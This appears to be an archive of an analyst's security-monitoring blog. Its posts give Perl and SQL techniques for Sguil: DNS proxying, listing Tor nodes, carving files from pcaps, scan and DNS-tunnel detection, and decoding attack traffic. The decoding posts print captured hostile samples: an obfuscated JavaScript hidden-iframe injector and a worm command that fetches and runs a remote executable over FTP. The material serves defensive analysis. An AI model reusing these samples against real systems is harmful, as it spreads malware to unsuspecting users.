Showing posts with label Perl. Show all posts
Showing posts with label Perl. Show all posts

Tuesday, June 12, 2007

I'M IN YR RRs, QUERYING YR HOSTS

Probably the single best thing I like about Sguil is the development philosophy. Most of the features are suggested by working intrusion analysts. Just the other day, we were chatting on IRC (freenode's #snort-gui) about DNS lookups. Specifically, I asked about having the Sguil client modified to give the analyst more control of DNS lookups. I am always concerned that when I ask the GUI to resolve an IP for me, I might be tipping off an attacker who is monitoring the DNS server for their zone. I mentioned that it'd be cool to have the ability to look up internal IPs in my own DNS servers but forward all external IPs to some third party (e.g., OpenDNS) in order to mask the true source of the queries.

Based on some of the discussion, I decided it'd be very handy to have a lightweight DNS proxy server that could use a few simple rules to determine which servers to query. I had some time this afternoon, so I hacked one up in Perl. It turns out that the same feature has now made it into the CVS version of Sguil, but I thought that my proxy would still be of use for other purposes. So without further ado, I hereby post it for your downloading pleasure.

You'll need to make a few edits to the script to tailor it to your own environment. First, set up the @LOCAL_NETS list to contain a list of regexps for your local network. All incoming queries will be compared against these expressions, and any that match will be considered "local" addresses. Queries that don't match anything in the list will be considered "public" queries. Note that reverse lookups require the "in-addr.arpa" address format. Here's a sample:


@LOCAL_NETS = ( "\.168\.192\.in-addr\.arpa",
"\.10\.in-addr\.arpa",
"\.mydomain\.com" );

You'll also need to set the $LOCAL_DNS and $PUBLIC_DNS strings to space delimited lists of DNS servers to use for each type of query, like so:

$LOCAL_DNS = qw("10.10.10.2 10.10.10.3"); # My DNS Servers
$PUBLIC_DNS = qw("208.67.222.222 208.67.220.220"); # OpenDNS Servers

Once you've done this, just run the script (probably in the background) and it will start listening for DNS requests on 127.0.0.1 port 53 UDP & TCP. Then configure your system's /etc/resolve.conf to use the local proxy and you're all set.

If you want to open it up a little and provide DNS proxy service for other systems on your network, you can do this by changing the LocalAddr parameter in the call to Nameserver->new(). Set the IP to your system's actual address and anyone who can connect to your port 53 will be able to resolve through you. I haven't really done any security testing on that, so it probably has some nasty remotely exploitable bugs. You have been warned!

Anyway, I hope you find it useful. It only does straight forward and reverse lookups (A and PTR records), so it will fail if you ask for any other types of requests. If these things are really necessary, though, let me know and I'll consider adding them. If you decide to use this at your site, please drop me a comment to let me know (if you can).

Thursday, August 31, 2006

Listing active Tor servers...

Want to know the list of active Tor servers at any given time? It turns out that this is fairly easy to do.

When a Tor client starts up, and from time-to-time during normal operation, it needs to refresh it's list of active servers. The Tor network maintains several "directory servers" which keep track of which nodes are willing to perform onion routing functions. Because the Tor client may not have yet started (it can't join the Tor network before it knows which Tor servers to use), anyone can fetch the directory from the public Internet using HTTP.

The basic idea is pretty simple. Just visit one of the directory servers with a URL like the following:


http://belegost.mit.edu/tor/

The belegost.mit.edu system is one of the five or so authoritative Tor directories on the Internet, so it should be fairly stable. The file it returns contains all the information that a Tor client needs to know about each of the servers, including IP addresses and port numbers. The Tor directory protocol document can help you interpret the details fairly easily.

Of course, if you just want to know the list of active servers for monitoring or blocking purposes, you can just run the following perl script, which will dump out the server names, IP addresses and onion routing ports for you.

#!/usr/bin/perl
#
# Fetch the list of known Tor servers (from an existing Tor server) and
# display some of the basic info for each router.

use LWP::Simple;

# Hostname of an existing Tor router. We use one of the directory authorities
# since that's pretty much what they're for.
$INITIAL_TOR_SERVER = "18.244.0.114"; # moria2 / belegost.mit.edu
$INITIAL_TOR_PORT = 80;

# Fetch the list of servers
$content = get("http://$INITIAL_TOR_SERVER:$INITIAL_TOR_PORT/tor/");
@lines = split /\n/,$content;

foreach $router (@lines) {
if($router =~ m/^router\s+(\S+)\s+(\S+)\s+(\S+)\s+(\S+)\s+(\S+)\s*$/m) {
($name, $address, $or_port, $socks_port, $directory_port) =
($1, $2, $3, $4, $5, $6);
print "$name $address $or_port\n";
}
}


Update 2008-06-09 11:38: In the nearly two years since I wrote this original post, the Tor folks have updated their directory protocol, and this script no longer works. Please see my newer post for an update and some working code.

Wednesday, August 23, 2006

I love command-line perl

If you read my blog on a regular basis, you've probably figured out that my favorite tool for performing general analysis and data manipulation is perl. Preferably, perl from the command line:

% cat data.dat | perl -e '...some code...' | less

Daniel Wesemann, one of the handlers at the Internet Storm Center posted a neato article on decoding traffic to uncover hidden executable content. And guess, what it uses??

Daniel, I like your style!

Friday, July 21, 2006

Extracting gzipped or Unix script files from pcap data

During an incident response, it's often handy to be able to examine the actual attack traffic, and if you're using Sguil, you probably have it handy. One common situation is that an intruder has transferred files to or from your network, and you'd really like to see what's in them.

There's a great tool for extracting arbitrary files from pcap dumps, tcpxtract. Similar to the way hard drive forensic tools look through bytes on the disk to find the "magic headers" at the beginning of various types of files, tcpxtract combs through pcaps looking for file types it knows, regardless of the transport protocol used to ship them over the network. When it finds them, it writes them out to individual files for manual analysis.

Tcpxtract is a great tool for NSM practicioners, and should be in everyone's standard kit. There are a few common types of files that it doesn't support, but you can easily fix this by simply editing the tcpxtract.conf file to add support for new types if you know their magic numbers.

My friend geek00L has already blogged about adding Windows PE executable support. Now I'm here to tell you how to add support for gzipped files and Unix script files like "#!/some/file" ("#!/bin/sh" or "#!/usr/bin/perl" for example).

Just add the following two lines to the end of tcpxtract.conf:


gzip(1000000, \x1f\x8b\x08);
script(1000000, \x23\x21\x2f);

A little anti-climactic after all that buildup, wasn't it? I've had some advice that the script detection is likely to throw lots of false positives in an SSL session, so maybe you should keep it commented out until you know there are script files in the session that you need to find.

Thursday, July 13, 2006

Canonicalizing funky IP addresses

I've been playing around with some phishing data recently, to see if I can correlate known phishing attempts with my outgoing network sessions in order to alert me when my users fall victim. I don't have any results to report for this yet, but I did have to do some research into canonicalizing IP addresses.

Most people don't realize this, but there are a few different IP address formats. We're using to seeing the dotted decimal quad form (e.g. "192.168.1.1") but there are others, and the phishers are using them. Thus, it behooves us to know how to work with them.

I was unable to find a comprehensive list of available formats online for some reason (if you know of one, please leave a comment!) so I examined my corpus of phishing URLs and found the following examples:


  1. 192.168.1.1
  2. 1127353292
  3. 0x43320bcc
  4. 192.0x43.9.3 (i.e., mixed decimal and hex quads)


Of course, phishers are also using normal hostnames as well, giving us at least 5 different types of possible inputs to deal with. Most of our tools use the decimal dotted quad format, so we need to normalize these formats into something useful.

Here's a Perl function that should do this for you. If you pass it any of the above formats (including the hostname), it will normalize the input and return a decimal dotted quad in string form, suitable for your favorite security tool. If it can't be converted (maybe it's a hostname that no longer resolves) the function returns undef instead.

I've wrapped this in a simple command-line tool and also incorporated it into other Perl scripts. I'm sure you'll find other uses for it as well. And hey, if you come across any other legal address formats, please let me know.


use Socket;

# Take any valid IP address or hostname and return the normalized IP address.
# Recognizes the following formats:
# some.host.com
# 192.168.0.1
# 0x43320bcc
# 1127353292
# 192.0x1c.0x10.9 (ie, mixed decimal and hex quads)
# The function returns the string value of the IP address if successful, or
# undef if not.
#
# Warnings:
# 1) This will return only a single address, so if the hostname resolves
# to more than one address, you won't get them all.
# 2) It will generate a DNS query when looking up hostnames
sub normalize_funky_addrs {
my($host) = @_;
my($addr);

# If this is a hex address (e.g., "0x01234FAc") then first convert it to
# decimal form
if($host =~ m/^0x[a-fA-F0-9]+$/i) {
$host = hex($host);
}

# If the entire address wasn't hex, individual octets might be. If so,
# find them and convert them. Split the address into octets, check and
# covert hex in each octect as necessary, then paste them all back together
# into one string and continue processing. Yes, I could just return here,
# but I'd rather have only one function exit point.
if($host =~ m/^([^.]+)\.([^.]+)\.([^.]+)\.([^.]+)$/) {
($octet1, $octet2, $octet3, $octet4) = ($1, $2, $3, $4);
$octet1 = hex($octet1) if ($octet1 =~ m/0x/i);
$octet2 = hex($octet2) if ($octet2 =~ m/0x/i);
$octet3 = hex($octet3) if ($octet3 =~ m/0x/i);
$octet4 = hex($octet4) if ($octet4 =~ m/0x/i);
$host = "$octet1.$octet2.$octet3.$octet4";
}

# Now we've either got a hostname, a normal IP address or an integer-form
# IP address. We can work with any of those.
$addr = gethostbyname($host);
if($addr) {
return inet_ntoa($addr);
} else {
return undef;
}
}

Thursday, June 22, 2006

Extracting email attachements from pcap files

From time to time, I need to examine email attachements that may have been delivered to my users, usually to see exactly what type of malware was included. Now, I could call them up and ask them if they got the message, but there are several reasons I don't like to do that. For example, I hate playing telephone tag, and I don't really want to encourage them to open the message for any reason.

Since I use Sguil, I have another option. I can extract the attachement from the network data directly. Here's how.


  1. Capture the session of interest as a pcap file. If you're also using Sguil, you can probably just do a SANCP search to find the network session that contained the message as it was delivered to your SMTP server. Open it up in Ethereal, which causes the Sguil client to copy the pcap file to your analysis workstation. Close Ethereal now, because you won't be using it for this.
  2. Once you have the pcap file, use the tcpflow tool to extract an ASCII version of the conversation. This will create two files, one for the server side of the session, and one for the client side. Here's an example, where xxx.xxx.xxx.xxx is the sending host, and zzz.zzz.zzz.zzz is your mail server:

    % tcpflow -r xxx.xxx.xxx.xxx_yyyy_zzz.zzz.zzz.zzz_25-6.raw
    % ls
    xxx.xxx.xxx.xxx_yyyy_zzz.zzz.zzz.zzz_25-6.raw
    xxx.xxx.xxx.xxx.yyyy-zzz.zzz.zzz.zzz.00025
    zzz.zzz.zzz.zzz.0025-xxx.xxx.xxx.xxx.yyyy

    The file you need to concern yourself with now is the one that ends in .00025. That's the one that contains the email message sent by the client.
  3. Edit the *.00025 file in your favorite text editor. As it is now, it's a complete record of all the SMTP protocol events, and what you really want is just the data. The easiest thing is just to delete everything up to (but not including) the first line that starts with "Received:".
  4. Use the following perl command to read the mail file in via stdin and dump out the decoded MIME message. The script uses the MIME::Parser module (available from CPAN) to handle MIME decoding.

    % perl -e 'use MIME::Parser; \
    $parser = new MIME::Parser; \
    $parser->output_under("/var/tmp"); \
    $entity = $parser->parse(\*STDIN); \
    $entity->dump_skeleton;' < *25


    Content-type: multipart/mixed
    Effective-type: multipart/mixed
    Body-file: NONE
    Subject: Message could not be delivered
    Num-parts: 2
    --
    Content-type: text/plain
    Effective-type: text/plain
    Body-file: /var/tmp/msg-1150990039-2841-0/msg-2841-1.txt
    --
    Content-type: application/octet-stream
    Effective-type: application/octet-stream
    Body-file: /var/tmp/msg-1150990039-2841-0/letter.zip
    Recommended-filename: letter.zip
    --

    As you can see, this command creates a directory /var/tmp/msg-XXXXXXX-XXXX-0/ which contains files for each piece of the MIME multipart message, including the attachement (in this case, /var/tmp/msg-1150990039-2841-0/letter.zip).


Now that you've got the attachement, you can use your favorite reverse engineering tools on it to figure out exactly what you've got on your hands.

Friday, May 19, 2006

Scan detection via network session records

I needed a quick, easy way to detect scanners on my LAN. Since I'm running Sguil, I have plenty of data about network sessions in a convenient MySQL database. I thought, why not use that?

My premise (cribbed from Snort's sfPortscan preprocessor) is that network scanning activity stands out due to it's unusually high number of failed connection attempts. In other words, most of the time the services being probed are not available, and this makes the scanner easier to spot. Here is a simple perl script I wrote that implements this type of scan detection by querying Sguil's SANCP session database.

To use it, you'll need to edit the script to modify the $HOME_NET variable. It's a snippet of SQL code, but it's very simple and documented in the comments. I'm looking for scanning activity on my own LAN, so the default is to set it to search only for activity with two local endpoints. If you are reasonably fluent in SQL, though, you can customize this to find other types of scans. There are a few other variables you can tweak (read the comments) but nothing terribly critical.

The script identifies two types of scanning activity. Portsweepers are systems that try a few different ports across a variety of addresses. For example, malware that looks around trying to find open web servers would fall into this category. On the other hand, portscanners are systems that try a lot of ports, usually on a relatively few systems. Attackers that are trying to enumerate services on a subnet would be a good example.

I haven't really tested this anywhere but a RHEL/CentOS 4 system. If you get it working on some other platform, or if you have any other comments/suggestions/improvements, please post them here.

Wednesday, May 03, 2006

A traffic-analysis approach to detecting DNS tunnels

I had the chance to see a very interesting presentation last week about DNS tunnels. I understand the concepts well enough, but I had never run into one "in the wild." I realized, however, that I probably wouldn't have noticed one in the first place, so I decided to try to do a little digging to see if I could come up with a detection mechanism.

Fortunately, I'm using Sguil to collect all my Network Security Monitoring (NSM) data. As you may know, Sguil collects (at least) three types of data:


  1. Snort IDS alerts
  2. Network session data (from SANCP)
  3. Full content packet captures (from a 2nd instance of Snort)

The packet captures are not typically used for alerting purposes, leaving me with the possibility of using either an IDS signature based approach, or something using traffic analysis on the network sessions.

Some DNS tunnel detection signatures already exist (The Sourcefire community ruleset already has signatures to detect the NSTX tunnel software), but I think this approach is doomed to failure from the start. A signature-based approach would be good for detecting specific instances of DNS tunnelling software, but for real protection, a more general detection capability is required. I chose to try the traffic analysis approach instead.

I started with the assumption that there were basically three uses for DNS tunnels, to wit:

  1. Data exfiltration (sending data out of the LAN)
  2. Data infiltration (downloads to the local LAN)
  3. Two-way interactive traffic

Of course, the fourth possibility is that a tunnel could be used for some combination of the above, but I left that out of the scope for now. I also ignored the possibility of two-way traffic for now, since it's harder and I'm just starting to look into this. My main goal was to identify data exfiltration by looking at "lopsided" transfers. By extension, the same technique could also be used to discover data infiltration, as I'll show.

Once I identified the types of tunnels I wanted to detect, I tried to deduce what their traffic profiles would look like. Specifically, I assumed the following:

  1. At least one side of the session would be associated with port 53.
  2. The tunnel could use either TCP or UDP (though UDP is the most likely), but since SANCP is able to construct psuedo-sessions from sessionless UDP traffic, I could effectively ignore the difference between TCP and UDP sessions.
  3. The upload/download ratio would be lopsided. That is, the tunnel client would either be sending more data than they recieve (exfiltration) or vice versa (infiltration).

If you're not familiar with Sguil, just know that all the network session data is stored in a MySQL database. Although you normally access this data through the Sguil GUI, it's also easy to connect with the normal MySQL client application and send arbitrary SQL queries. I
started with this one:

select start_time, end_time, INET_NTOA(src_ip), src_port,
INET_NTOA(dst_ip), dst_port, ip_proto, (src_bytes / dst_bytes) as
ratio from sancp where dst_port = 53 and start_time between
DATE_SUB(CURDATE(), INTERVAL 7 DAY) and CURDATE()
having ratio >= 2 order by ratio DESC LIMIT 25;

The intent of this query is to identify at most 25 DNS sessions during the last week where the initiator (the client) sends at least twice as much data as it receives in response. Sounds good, but it is actually a bit naive. It turns out that many small transactions fit this profile, especially if the DNS server doesn't respond (the response size is 0 bytes).

I fixed this problem by also looking for a minimum number of bytes transferred (in either direction). After all, the purpose of a DNS tunnel is to transfer data, so if there are only a few bytes, the odds are very, very good that it's not a tunnel. In this version, I've set up the query also to check that the total number of source and
destination bytes is at least 50,000:

select start_time, end_time, INET_NTOA(src_ip), src_port,
INET_NTOA(dst_ip), dst_port, ip_proto, (src_bytes + dst_bytes) as
total,
(src_bytes / dst_bytes) as ratio from sancp where dst_port =
53 and start_time between DATE_SUB(CURDATE(), INTERVAL 7 DAY) and
CURDATE() having ratio >= 2 and total > 50000 order by total DESC,
ratio DESC LIMIT 25;

This brings the number of false positives down quite a bit. If this still isn't good enough, you can tune both the ratio and the total bytes to give you whatever level of sensitivity you feel comfortable with. Increasing either number should decrease false positives, but at the expense of creating more false negatives (ie, you might miss some tunnels).

By the way, I mentioned before that you could use the same approach to detect either exfiltration or infiltration. The queries above are written for exfiltration, so if you would like to look for infiltration, simply change the definition of the "ratio" parameter from this:

(src_bytes / dst_bytes) as ratio

to this:

(dst_bytes / src_bytes) as ratio

That'll look for data going in the other direction. The rest of the query is identical for either case.

As I mentioned, I've never encountered a DNS tunnel outside of a lab environment (yet), so I can't say how well my approach holds up in the real world. If anyone with more experience would like to comment, I'm all ears. Similarly, if anyone decides to try out my method, I'd love to hear how it works out for you.

Update 2006-05-04 14:33: My fellow #snort-gui hanger-on and all-around smart guy tranzorp has posted additional analysis of my ideas on his blog. Specifically, he points to two easy ways to evade this simple type of analysis, and I recommend that you read his post for yourself, because he's got a lot of experience with this topic.

If you just want a quick 'bang-it-out-in-an-emergency' check for tunnels, the following updated query isn't bad. It's the same as above, but corrects for the fact that the DNS reply contains a complete copy of the DNS query, as tranzorp pointed out:

select start_time, end_time, INET_NTOA(src_ip), src_port,
INET_NTOA(dst_ip), dst_port, ip_proto,
(src_bytes + (dst_bytes - src_bytes)) as total,
(src_bytes / (dst_bytes - src_bytes)) as ratio
from sancp where dst_port = 53 and
start_time between DATE_SUB(CURDATE(), INTERVAL 7 DAY) and
CURDATE() having ratio >= 2 and total > 50000 order by total DESC,
ratio DESC LIMIT 25;


Based on feedback I've received from tranzorp and others, I'm looking at a more statistical approach to the problem. In short, I'm experimenting with computing a psuedo-bandwidth for each session (bytes sent / session duration), then looking for abnormally high or low bandwidth sessions. I've got a prototype, but it's in perl so it's horribly inefficient for the mountain of DNS session data I collect. I'll post something about it when I have had a chance to tweak on it some more.

Thursday, December 22, 2005

Decoding JavaScript document.write() alerts

I got some good feedback on my previous post about decoding HTTP challenge/response alerts, so I thought I'd try again. This time, the topic is decoding JavaScript document.write() alerts.

JavaScript includes a method for a script to modify the current web page (the "document"). The document.write() function call is used to add new content to the page, and this can also add new JavaScript code to be executed. This is a common obfuscation technique, often intended to make it more difficult for analysts or NIDS systems to detect qustionable content.

Here's an example to show what this looks like in the real world:

document.write(String.fromCharCode(60,115,
99,114,105,112,116,32,108,97,110,103,117,
97,103,101,61,34,74,97,118,97,83,99,114,
105,112,116,34,32,116,121,112,101,61,34,
116,101,120,116,47,106,97,118,97,115,99,
114,105,112,116,34,62,60,33,45,45,13,10,
100,111,99,117,109,101,110,116,46,119,
114,105,116,101,40,39,60,105,102,114,97,
109,101,32,115,116,121,108,101,61,34,100,
105,115,112,108,97,121,58,110,111,110,
101,34,32,119,105,100,116,104,61,34,49,
34,32,104,101,105,103,104,116,61,34,49,34,
32,102,114,97,109,101,98,111,114,100,101,
114,61,34,48,34,32,115,99,114,111,108,108,
105,110,103,61,34,78,111,34,32,115,114,99,
61,34,104,116,116,112,58,47,47,115,46,101,
117,119,101,98,46,99,122,47,39,43,40,40,40,
110,61,77,97,116,104,46,102,108,111,111,
114,40,52,53,42,77,97,116,104,46,114,97,110,
100,111,109,40,41,41,41,60,53,41,32,63,32,39,
115,116,101,112,39,43,40,110,43,50,41,43,39,
46,112,104,112,39,32,58,32,39,101,110,103,
105,110,101,115,46,112,104,112,63,110,111,
61,39,43,40,110,45,52,41,41,43,39,34,62,60,
47,105,102,114,97,109,101,62,39,41,59,13,10,
47,47,45,45,62,60,47,115,99,114,105,112,116,62));

Notice the "String.fromCharCode()" function. That's the key to deciphering this. Each of the numbers in the list is just the decimal ASCII code of the corresponding character in the script that this is intended to create.

Once you realize how this works, reconstructing the script itself is trivial. I usually use the following perl command line, then cut and paste just the ASCII list into its standard input, like so (my input is in bold):

% perl -e 'while(<>) { @list = split /,/; grep {print chr($_);} @list; }'
60,115,99,114,105,112,116,32,108,97,110,
103,117,97,103,101,61,34,74,97,118,97,83,99,
114,105,112,116,34,32,116,121,112,101,61,34,
116,101,120,116,47,106,97,118,97,115,99,114,
105,112,116,34,62,60,33,45,45,13,10,100,111,
99,117,109,101,110,116,46,119,114,105,116,
101,40,39,60,105,102,114,97,109,101,32,115,
116,121,108,101,61,34,100,105,115,112,108,
97,121,58,110,111,110,101,34,32,119,105,100,
116,104,61,34,49,34,32,104,101,105,103,104,
116,61,34,49,34,32,102,114,97,109,101,98,
111,114,100,101,114,61,34,48,34,32,115,99,
114,111,108,108,105,110,103,61,34,78,111,
34,32,115,114,99,61,34,104,116,116,112,58,47,
47,115,46,101,117,119,101,98,46,99,122,47,39,
43,40,40,40,110,61,77,97,116,104,46,102,108,
111,111,114,40,52,53,42,77,97,116,104,46,114,
97,110,100,111,109,40,41,41,41,60,53,41,32,
63,32,39,115,116,101,112,39,43,40,110,43,50,
41,43,39,46,112,104,112,39,32,58,32,39,101,
110,103,105,110,101,115,46,112,104,112,63,
110,111,61,39,43,40,110,45,52,41,41,43,39,
34,62,60,47,105,102,114,97,109,101,62,39,
41,59,13,10,47,47,45,45,62,60,47,115,99,
114,105,112,116,62


I've omitted the actual output here, since it would be JavaScript and I don't want to load the code into your browser by accident, but feel free to try this on your own and see what JavaScript nuggets you can dig up.

Thursday, December 08, 2005

Decoding "Challenge/Response Authentication" alerts

If you're using Snort for IDS operations and have downloaded the BLEEDING-EDGE rules, you've probably noticed a lot of alerts called "BLEEDING-EDGE VIRUS HTTP Challenge/Response Authentication". This type of alert may seem quite mysterious, but in reality, this is most likely worm traffic (see the ISC Handler's Diary entry on the subject).

If you look at an ASCII transcript of the traffic (thanks, sguil!), you'll see something like the following:

GET / HTTP/1.0
Host: 192.70.245.110
Authorization: Negotiate IQegYGKwYBBQUCoIIQbjCCE[...]
RERERERERERERERERERERERERERE==

So what is this traffic? Well, IIS allows a client to negotiate the type of HTTP authentication scheme, which is the purpose of the "Authorization: Negotiate" line (more info on this capability can be found here and here). Unfortunately, there is a buffer overflow in some versions of this facility, which could allow the remote execution of arbitrary code. That's what all that extra junk at the end of the request is.

The overflow is encoded in Base64 (as per the Negotiate protocol). Want to unencode it and see what's there? Easy! On my Linux box, I used the following Perl command to set up a simple decoder, then cut-and-pasted the ASCII text into the window.

perl -e 'use MIME::Base64; $line = <>; chomp($line); $out = decode_base64($line);print "\n\n$out\n";' | & less

What you'll see is a bunch of junk, mostly buffer padding and shellcode, but with some plaintext commands visible in the middle. The exact commands vary a bit depending on exactly what code is attacking you, but they usually look similar to this:

cmd /k echo open 192.168.1.101 15801 > o&
echo user 1 1 >> o &echo get servic.exe >> o &
echo quit >> o &ftp -n -s:o &del /F /Q o &
servic.exe

See what that does? It creates an FTP script to log in to a remote host and fetch a file. Then it runs FTP with that script to actually download the infection code, and runs it. It's even sharp enough to delete the temporary FTP script.

One interesting thing to note is that it seems to use the attacking host's IP address, which in this case was probably behind some sort of NAT firewall, so this would have failed to spread the infection even if we had been vulnerable.

Anyway, now you know.